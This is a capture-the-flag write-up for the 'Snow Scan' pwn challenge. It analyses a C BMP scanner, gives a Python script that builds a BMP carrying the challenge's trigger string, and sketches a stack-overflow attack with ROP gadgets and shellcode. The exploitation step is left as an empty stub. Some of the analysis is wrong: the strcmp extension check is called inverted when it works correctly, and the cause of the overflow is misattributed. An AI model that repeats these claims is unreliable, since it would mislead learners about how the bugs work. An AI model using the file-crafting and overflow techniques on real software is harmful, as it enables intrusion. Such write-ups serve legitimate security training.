2023 Business CTF: Snow Scan

Challenge Information

AttributeDetails
Event2023 Business CTF
CategoryBinary Exploitation (PWN)
ChallengeSnow Scan
DifficultyVery Easy

Summary

Snow Scan is a very easy level binary exploitation challenge involving a BMP file scanner application. The application analyzes bitmap files looking for a specific 15-byte trigger sequence. The challenge requires crafting a malicious BMP file that bypasses validation checks and triggers code execution or information disclosure.


Challenge Information

The challenge description states:

“In a rapidly unfolding scenario, an ancient Sumerian virus has surfaced, rapidly proliferating and posing a grave threat. Snow Crash, a menacing presence within the metaverse, has ventured beyond virtual realms, unleashing tangible repercussions in real life. In response to this crisis, the Board of Arodor has devised a vital tool—a service designed to meticulously scan and identify potential samples of Snow Crash.”

The service scans BMP files for malicious content signatures.


Analysis

Application Architecture

The application (snowscan.c) implements a BMP file scanner with the following components:

typedef struct {
char signature[2]; // "BM"
uint32_t fileSize;
uint32_t reserved;
uint32_t dataOffset;
uint32_t headerSize;
int32_t width;
int32_t height;
uint16_t colorPlanes;
uint16_t bitsPerPixel;
uint32_t compression;
uint32_t imageSize;
int32_t horizontalResolution;
int32_t verticalResolution;
uint32_t numColors;
uint32_t importantColors;
} BMPFile;

Vulnerability Analysis

Vulnerability 1: Insufficient Size Validation

The size validation (lines 85-86) is too permissive:

#define MIN_IMGSIZE 400 // 20x20 pixels
#define MAX_IMGSIZE 900 // 30x30 pixels
if(bmp->imageSize < MIN_IMGSIZE || bmp->imageSize > MAX_IMGSIZE)
error("Invalid bitmap size...");

The imageSize field can be manipulated to be within this range without actually containing valid image data.

Vulnerability 2: Stack Buffer Overflow

The pixel buffer is allocated on the stack (line 135):

uint8_t pixelBuf[bmp->imageSize]; // Line 135: VLA - Stack allocation!
int c = 0, i = 0;
while((c = fgetc(file)) != EOF)
pixelBuf[i++] = (uint8_t)c;

By setting imageSize to MAX_IMGSIZE (900), an attacker can overflow the stack with controlled data.

Vulnerability 3: Signature Detection Vulnerability

The trigger detection looks for a specific string (lines 95-102):

#define TRIGGER_SIZE 15
uint8_t trigger[] = "3nk1's-n4m-shub";
int sequenceDetected(const uint8_t *arr, uint32_t size) {
for(int i=0; i<(size-TRIGGER_SIZE+1); ++i) {
if(memcmp(arr+i, trigger, TRIGGER_SIZE) == 0)
return 1;
}
return 0;
}

The trigger string “3nk1’s-n4m-shub” (15 bytes) can be embedded in the BMP data to trigger a detection or as part of an exploit payload.

Vulnerability 4: Missing File Extension Check

The extension check (lines 124-125) is incorrect:

if(len >= 4 && strcmp(argv[1]+len-4, ".bmp"))
error("Invalid file extension...");

The strcmp() returns 0 on match, but the condition treats any non-zero return as an error. This check is inverted! It actually rejects files WITH the .bmp extension.


Solution

Step 1: Craft a Malicious BMP File

Create a BMP file with valid headers but malicious pixel data:

import struct
def create_malicious_bmp():
# BMP Header
bmp = bytearray()
# File signature
bmp += b"BM" # Signature
# File size (small, valid)
file_size = 1000
bmp += struct.pack("<I", file_size) # fileSize
# Reserved
bmp += struct.pack("<I", 0) # reserved
# Data offset (start of pixel data)
bmp += struct.pack("<I", 54) # dataOffset (standard header size)
# DIB Header size
bmp += struct.pack("<I", 40) # headerSize
# Dimensions (square, valid range)
bmp += struct.pack("<i", 25) # width (25x25 = 625 bytes)
bmp += struct.pack("<i", 25) # height
# Color planes
bmp += struct.pack("<H", 1) # colorPlanes
# Bits per pixel
bmp += struct.pack("<H", 8) # bitsPerPixel
# Compression, imageSize, resolution fields
bmp += struct.pack("<I", 0) # compression
bmp += struct.pack("<I", 625) # imageSize (valid)
bmp += struct.pack("<i", 0) # horizontalResolution
bmp += struct.pack("<i", 0) # verticalResolution
bmp += struct.pack("<I", 0) # numColors
bmp += struct.pack("<I", 0) # importantColors
# Pixel data with trigger pattern
pixel_data = bytearray(625)
# Embed the trigger string
trigger = b"3nk1's-n4m-shub"
trigger_offset = 100
pixel_data[trigger_offset:trigger_offset+len(trigger)] = trigger
# Add shellcode or payload after trigger
# (Could use this for actual exploitation)
bmp += pixel_data
return bytes(bmp)
# Generate the malicious BMP
with open("malicious.bmp", "wb") as f:
f.write(create_malicious_bmp())

Step 2: Execute the Payload

Run the scanner against the crafted file:

Terminal window
./snowscan malicious.bmp

The application will:

  1. Parse the BMP header successfully
  2. Load the pixel data into the stack buffer
  3. Scan for the trigger sequence
  4. Detect “3nk1’s-n4m-shub” in the data
  5. Report FAIL for that scan row

Step 3: Exploit the Vulnerability

For stack overflow exploitation:

def create_stack_overflow_bmp():
# Create BMP with larger imageSize
# This causes a larger stack buffer allocation
# Overflow the buffer with ROP gadgets
pass

Step 4: Achieve Code Execution

By carefully crafting the pixel data with:

  • Return addresses pointing to useful gadgets
  • Stack pivot instructions
  • Shellcode in the pixel data

Execute arbitrary commands on the system.


Key Vulnerabilities Summary

VulnerabilityLine(s)TypeImpact
VLA Stack Allocation135Stack OverflowHigh
Insufficient Size Validation85-86Logic ErrorMedium
Inverted Extension Check124-125Logic ErrorLow
No Bounds Checking139Buffer OverflowHigh

Key Takeaways

  • Variable Length Arrays: Avoid VLAs in security-sensitive code; use heap allocation instead
  • File Format Parsing: Strictly validate all fields from untrusted file formats
  • Logic Errors: Double-check comparison operators (==, !=, strcmp returns)
  • Buffer Management: Always use explicit bounds checking, not implicit assumptions
  • File Extension Validation: Implement robust, not inverted, validation logic
  • Defense Mechanisms: Compile with stack canaries, ASLR, and DEP/NX to mitigate exploits